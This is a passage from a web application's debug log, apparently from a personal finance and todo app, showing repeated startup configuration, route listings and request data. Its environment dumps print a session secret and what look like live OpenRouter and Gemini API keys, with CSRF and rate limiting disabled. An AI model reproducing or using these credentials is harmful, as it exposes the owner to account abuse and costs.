      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.147.88.45',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.16.0 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '34.147.88.45',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-18T07:40:28.806Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-18T07:40:31.120Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-18T07:40:31.942Z server-connect:setup:upload Upload middleware configured.
2026-06-18T07:40:31.942Z server-connect:secure CSRF Protection initialized
2026-06-18T07:40:31.948Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-18T07:40:31.949Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-18T07:40:31.960Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-18T07:40:31.961Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-18T07:40:31.963Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-18T07:40:31.964Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-18T07:40:31.982Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-18T07:40:31.994Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-18T07:40:32.001Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-18T07:40:32.005Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-18T07:40:32.011Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-18T07:40:32.020Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-18T07:40:32.031Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-18T07:40:32.061Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-18T07:40:32.062Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-18T07:40:32.101Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-18T07:40:32.105Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-18T07:40:32.124Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-18T07:40:32.125Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-18T07:40:32.128Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-18T07:40:32.129Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-18T07:40:32.130Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-18T07:40:32.130Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-18T07:40:32.131Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-18T07:40:32.131Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-18T07:40:32.135Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-18T07:40:32.136Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-18T07:40:32.146Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-18T07:40:32.147Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-18T07:40:32.147Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-18T07:40:32.148Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-18T07:40:32.150Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-18T07:40:32.154Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-18T07:40:32.155Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-18T07:40:32.162Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-18T07:40:32.166Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-18T07:40:32.167Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-18T07:40:32.185Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-18T07:40:32.667Z server-connect:router Serving templateView /
2026-06-18T07:40:32.715Z server-connect:app Executing action step identify
2026-06-18T07:40:32.716Z server-connect:app options: { provider: 'security' }
2026-06-18T07:40:32.725Z server-connect:auth No login cookie found
2026-06-18T07:40:32.725Z server-connect:output identity: false
2026-06-18T07:40:32.725Z server-connect:app Executing action step restrict
2026-06-18T07:40:32.725Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-18T07:40:32.729Z server-connect:output restrict: undefined
2026-06-18T07:43:59.495Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-18T07:43:59.648Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-18T07:43:59.735Z server-connect:setup:upload Upload middleware configured.
2026-06-18T07:43:59.735Z server-connect:secure CSRF Protection initialized
2026-06-18T07:43:59.737Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-18T07:43:59.739Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-18T07:43:59.740Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-18T07:43:59.740Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-18T07:43:59.741Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-18T07:43:59.741Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-18T07:43:59.742Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-18T07:43:59.743Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-18T07:43:59.743Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-18T07:43:59.746Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-18T07:43:59.747Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-18T07:43:59.747Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-18T07:43:59.747Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-18T07:43:59.748Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-18T07:43:59.776Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-18T07:43:59.777Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-18T07:43:59.777Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-18T07:43:59.778Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-18T07:43:59.778Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-18T07:43:59.778Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-18T07:43:59.778Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-18T07:43:59.779Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-18T07:43:59.779Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-18T07:43:59.779Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-18T07:43:59.779Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-18T07:43:59.780Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-18T07:43:59.780Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-18T07:43:59.780Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-18T07:43:59.780Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-18T07:43:59.781Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-18T07:43:59.781Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-18T07:43:59.781Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-18T07:43:59.781Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-18T07:43:59.781Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-18T07:43:59.782Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-18T07:43:59.782Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-18T07:43:59.782Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-18T07:43:59.782Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-18T07:43:59.844Z server-connect:router Serving templateView /login
2026-06-18T07:43:59.846Z server-connect:app Executing action step identify
2026-06-18T07:43:59.846Z server-connect:app options: { provider: 'security' }
2026-06-18T07:43:59.848Z server-connect:auth No login cookie found
2026-06-18T07:43:59.848Z server-connect:output identity: false
2026-06-18T07:43:59.848Z server-connect:router Render template layouts/authentication
2026-06-18T07:43:59.849Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '146.70.65.191',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-19T07:43:59.841Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '146.70.65.191',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '146.70.65.191',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-19T09:03:50.653Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-19T09:03:52.926Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-19T09:03:53.791Z server-connect:setup:upload Upload middleware configured.
2026-06-19T09:03:53.791Z server-connect:secure CSRF Protection initialized
2026-06-19T09:03:53.795Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-19T09:03:53.797Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-19T09:03:53.800Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-19T09:03:53.801Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-19T09:03:53.807Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-19T09:03:53.812Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-19T09:03:53.824Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-19T09:03:53.837Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-19T09:03:53.842Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-19T09:03:53.845Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-19T09:03:53.846Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-19T09:03:53.850Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-19T09:03:53.855Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-19T09:03:53.865Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-19T09:03:53.868Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-19T09:03:53.940Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-19T09:03:53.941Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-19T09:03:53.944Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-19T09:03:53.952Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-19T09:03:53.956Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-19T09:03:53.956Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-19T09:03:53.964Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-19T09:03:53.968Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-19T09:03:53.973Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-19T09:03:53.976Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-19T09:03:53.980Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-19T09:03:53.980Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-19T09:03:53.982Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-19T09:03:53.989Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-19T09:03:53.989Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-19T09:03:53.992Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-19T09:03:53.994Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-19T09:03:53.998Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-19T09:03:54.001Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-19T09:03:54.009Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-19T09:03:54.011Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-19T09:03:54.015Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-19T09:03:54.023Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-19T09:03:54.510Z server-connect:router Serving templateView /
2026-06-19T09:03:54.512Z server-connect:app Executing action step identify
2026-06-19T09:03:54.512Z server-connect:app options: { provider: 'security' }
2026-06-19T09:03:54.514Z server-connect:auth No login cookie found
2026-06-19T09:03:54.514Z server-connect:output identity: false
2026-06-19T09:03:54.514Z server-connect:app Executing action step restrict
2026-06-19T09:03:54.514Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-19T09:03:54.517Z server-connect:output restrict: undefined
2026-06-20T04:28:23.473Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-20T04:28:25.728Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-20T04:28:26.590Z server-connect:setup:upload Upload middleware configured.
2026-06-20T04:28:26.590Z server-connect:secure CSRF Protection initialized
2026-06-20T04:28:26.595Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-20T04:28:26.596Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-20T04:28:26.599Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-20T04:28:26.601Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-20T04:28:26.607Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-20T04:28:26.612Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-20T04:28:26.624Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-20T04:28:26.637Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-20T04:28:26.642Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-20T04:28:26.644Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-20T04:28:26.646Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-20T04:28:26.650Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-20T04:28:26.655Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-20T04:28:26.665Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-20T04:28:26.669Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-20T04:28:26.741Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-20T04:28:26.743Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-20T04:28:26.748Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-20T04:28:26.755Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-20T04:28:26.759Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-20T04:28:26.761Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-20T04:28:26.769Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-20T04:28:26.771Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-20T04:28:26.777Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-20T04:28:26.777Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-20T04:28:26.782Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-20T04:28:26.784Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-20T04:28:26.787Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-20T04:28:26.791Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-20T04:28:26.794Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-20T04:28:26.796Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-20T04:28:26.799Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-20T04:28:26.802Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-20T04:28:26.804Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-20T04:28:26.811Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-20T04:28:26.815Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-20T04:28:26.815Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-20T04:28:26.825Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-20T04:28:27.315Z server-connect:router Serving templateView /
2026-06-20T04:28:27.317Z server-connect:app Executing action step identify
2026-06-20T04:28:27.317Z server-connect:app options: { provider: 'security' }
2026-06-20T04:28:27.319Z server-connect:auth No login cookie found
2026-06-20T04:28:27.320Z server-connect:output identity: false
2026-06-20T04:28:27.320Z server-connect:app Executing action step restrict
2026-06-20T04:28:27.320Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-20T04:28:27.324Z server-connect:output restrict: undefined
2026-06-20T04:28:27.494Z server-connect:router Serving templateView /login
2026-06-20T04:28:27.494Z server-connect:app Executing action step identify
2026-06-20T04:28:27.494Z server-connect:app options: { provider: 'security' }
2026-06-20T04:28:27.495Z server-connect:auth No login cookie found
2026-06-20T04:28:27.495Z server-connect:output identity: false
2026-06-20T04:28:27.495Z server-connect:router Render template layouts/authentication
2026-06-20T04:28:27.495Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    referer: 'https://www.google.com/',
    'sec-ch-ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '34.186.188.222',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-21T04:28:27.492Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.186.188.222',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_REFERER: 'https://www.google.com/',
    'HTTP_SEC_CH-UA': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
